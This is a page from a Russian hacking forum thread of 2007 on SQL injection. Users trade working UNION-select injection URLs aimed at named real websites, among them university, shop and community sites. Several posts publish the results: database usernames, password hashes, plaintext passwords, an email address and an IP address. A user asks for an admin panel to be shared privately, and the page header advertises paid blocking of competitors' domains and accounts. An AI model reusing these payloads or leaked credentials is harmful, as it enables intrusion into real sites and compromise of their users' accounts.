ANTICHAT.XYZ

VIDEO.ANTICHAT.XYZ

НОВЫЕ СООБЩЕНИЯ

ФОРУМ

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ_OLD > Уязвимости
SQL Инъекции

Страница 48 из 1239

Опции темы

Поиск в этой теме

Опции просмотра

10.02.2007, 20:26

Satirik

Новичок

Регистрация: 18.08.2005

Сообщений: 19

Провел на форуме:
173872

Репутация: 36

Отправить сообщение для Satirik с помощью ICQ

Код:

http://www.allwebr.org.ru/index.php?id=-20+union+select+1,2/*

не подобрать...

10.02.2007, 20:33

n0ne

Постоянный

Регистрация: 01.01.2007

Сообщений: 796

Провел на форуме:
2693408

Репутация: 861

Satirik, всё нормально подбираеца

Код:

http://www.allwebr.org.ru/index.php?id=-20+union+select+1,2,concat(version(),0x3a,0x3a,user(),0x3a,0x3a,database()),4,5,6,7,8,9,10,11,12,13,14,15/*

11.02.2007, 00:04

Gorn

Новичок

Регистрация: 25.10.2006

Сообщений: 13

Провел на форуме:
158978

Репутация: 34

http://www.webchats.tv/webchat.php?ID=-1+union+select+1,2,3,4,5,6,7,8,user(),10,11,12,13, 14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 ,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46+f rom+users/*

10.02.2007, 20:42

kamaz

Познающий

Регистрация: 31.01.2007

Сообщений: 88

Провел на форуме:
631013

Репутация: 453

Отправить сообщение для kamaz с помощью ICQ

http://www.grafik-4u.de/index.php?page=2&c=1%20union%20select%201,concat(u ser_email,char(58),user_password),3,4%20from%20php bb_users/*

900 юзеров

11.02.2007, 01:32

Darkweider

Участник форума

Регистрация: 08.02.2007

Сообщений: 162

Провел на форуме:
463978

Репутация: 34

Блин ребят где вы такие сайты находите дырявые? Везде же вроде такой стандартный метод инъекций пофиксили. =)

11.02.2007, 05:12

Thanat0z

Постоянный

Регистрация: 06.12.2006

Сообщений: 762

Провел на форуме:
5352530

Репутация: 2062

Код:

http://spas-edko.org.ua/photo_h.php?id=-9+union+select+1,2,3,4,5,6,concat(user_name,char(58),password),8+from+users/*

Сенкс p-range, [ cash ] за помощь

Кто найдет админку, напишите в приват

Последний раз редактировалось Thanat0z; 11.02.2007 в 05:32..

11.02.2007, 05:58

злюка

Постоянный

Регистрация: 11.11.2005

Сообщений: 317

Провел на форуме:
2848854

Репутация: 409

Отправить сообщение для злюка с помощью ICQ

_http://www.searchmonster.org/index.php?l=-99+union+select+1,2,3,user,password,6+from+mysql.u ser/*

gmedia_search4us:monster9 (спс Thanat0z)

таблицу с юзерами не нашёл(

11.02.2007, 14:03

Goudini

Участник форума

Регистрация: 07.06.2006

Сообщений: 146

Провел на форуме:
1652093

Репутация: 490

Отправить сообщение для Goudini с помощью ICQ

www.muzon.tv

Смотреть тайтл

Код:

http://www.muzon.tv/index.php?option=dld&cat=2&part=1&view=-1+union+select+concat(user,char(58),password)+from+mysql.user/*

root:237e36116eef0637
internati:0b89d2383b82c0b7

Код:

http://www.muzon.tv/index.php?option=dld&cat=2&part=1&view=-1+union+select+concat(login,char(58),pass)+from+users/*

tolik:321
danylko bogriv:anatolij
fight!fire!:oksana
ksukha:oksana

Код:

http://www.muzon.tv/index.php?option=dld&cat=2&part=1&view=-1+union+select+concat(user,char(58),pass)+from+admin/*

roman:boykolviv123

untp.org.ua

Ivnision Power Board

Код:

http://www.untp.org.ua/index.php?id=-1+union+select+1,2,concat(name,char(58),member_login_key,char(58),email,char(58),ip_address),4,5,6+from+ibf_members/*

Sashko:f1ea1bf75156c50f09791e7b210c1e69:abcde88@uk r.net:80.84.190.34

11.02.2007, 14:47

InferNo23

Участник форума

Регистрация: 05.09.2006

Сообщений: 187

Провел на форуме:
6860213

Репутация: 378

Код:

http://www.parfumerist.ru/stat.php?stat_id=-1+union+select+1,user,password,4,5+from+mysql.user/*

root:1dd500b601d8cc7d

Код:

http://www.gazclub.ru/sale/?sale_id=-1+union+select+1,2,current_date(),database(),version(),6,user(),8/*

Код:

http://www.kontec.ru/details.php?product_id=-1+union+select+1,2,3,4,5,6,7,database(),9,version(),user(),current_date(),13,14,15,16,17,18,19,20,21,22,23/*

Код:

http://hold5.ru/mstat.php?stat_id=-1+union+select+1,2,3,4,5,version(),7,8,9,10/*

Код:

http://www.granpri-flower.ru/stat.php?stat_id=-1+union+select+1,2,3,4,5,database(),user(),8,9/*

#10

12.02.2007, 14:50

kamaz

Познающий

Регистрация: 31.01.2007

Сообщений: 88

Провел на форуме:
631013

Репутация: 453

Цитата:

http://www.cellosoft.com/software/view.php?id=-45%20union%20select%201,2,3,4,5,6,7,8,9,0,11,12,13 ,14/*

Цитата:

http://www.nanocenter.umd.edu/equipment_detail.php?equipment_id=65%20UNION%20SEL ECT%200,1,2,3,4,5,email,7,8,9,10,11,12,13,14,15,16 ,17,18,username,password,21,22,23,24,25,26,27,28,2 9,30,31,32,33,34,35,36,37,38%20from%20user/*

Вот еще:

Цитата:

http://www.dwt-haarlem.nl/index.php?page=artikel&nr=-145%20union%20select%201,concat(user,char(58),pass word),3,4,5%20from%20user/*

Цитата:

http://www.dwt-haarlem.nl/index.php?page=artikel&nr=-145%20union%20select%201,concat(user_email,char(58 ),user_password),3,4,5%20from%20phpbb_users/*

И еще одна (MsSql)

Цитата:

http://www.dentistry.ubc.ca/directory/faculty/detail.asp?user_id=1+or+1=(SELECT+TOP+1+cast(user_ name+as+nvarchar)%2B%27%3A%27%2Bcast(Password+as+% 20nvarchar)+from+gpr_user_tbl)--

И еще парочку (пруха у меня сегодня )

Цитата:

http://www.top-nachrichten24.de/content/eansicht.php?nid=-670%20UNION%20SELECT%200,1,2,3,4,5,6,7,8,9,10,11,1 2,13,14,15,16,17,password,login,name,email,22,23,2 4,25,26,27,28,29,30,31%20from%20user/*

Цитата:

http://www.abc-imports.com/public/list.php?user_id=-6%20UNION%20SELECT%200,1,2,3,4,5,database(),7,user (),9,10/*

Цитата:

http://www.mikelkelleystudio.com/public/view_exhibit.php?user_id=-6%20UNION%20SELECT%200,1,2,3,4,5,user(),7,8,9,10,1 1,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27, 28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44 ,45,46,47,48,49,50,51,52,53,54,55,56,57,58,databas e(),60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,7 5,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90/*

Цитата:

http://www.ctbauer.com/public/view_exhibit.php?user_id=6%20UNION%20SELECT%200,1, 2,3,4,5,user(),7,8,9,10,11,12,13,14,15,16,17,18,19 ,20,21,22,23,24,25,26,27,%2028,29,30,31,32,33,34,3 5,36,37,38,39,40,41,42,43,44%20,45,46,47,48,49,50, 51,52,53,54,55,56,57,58,database(),60,61,62,63,64, 65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81 ,82,83,84,85,86,87,88,89,90/*

Цитата:

http://ogloszenia.jaslo4u.pl/index.php?catid=-7%20union%20select%20database(),2/*

Последний раз редактировалось kamaz; 12.02.2007 в 16:37..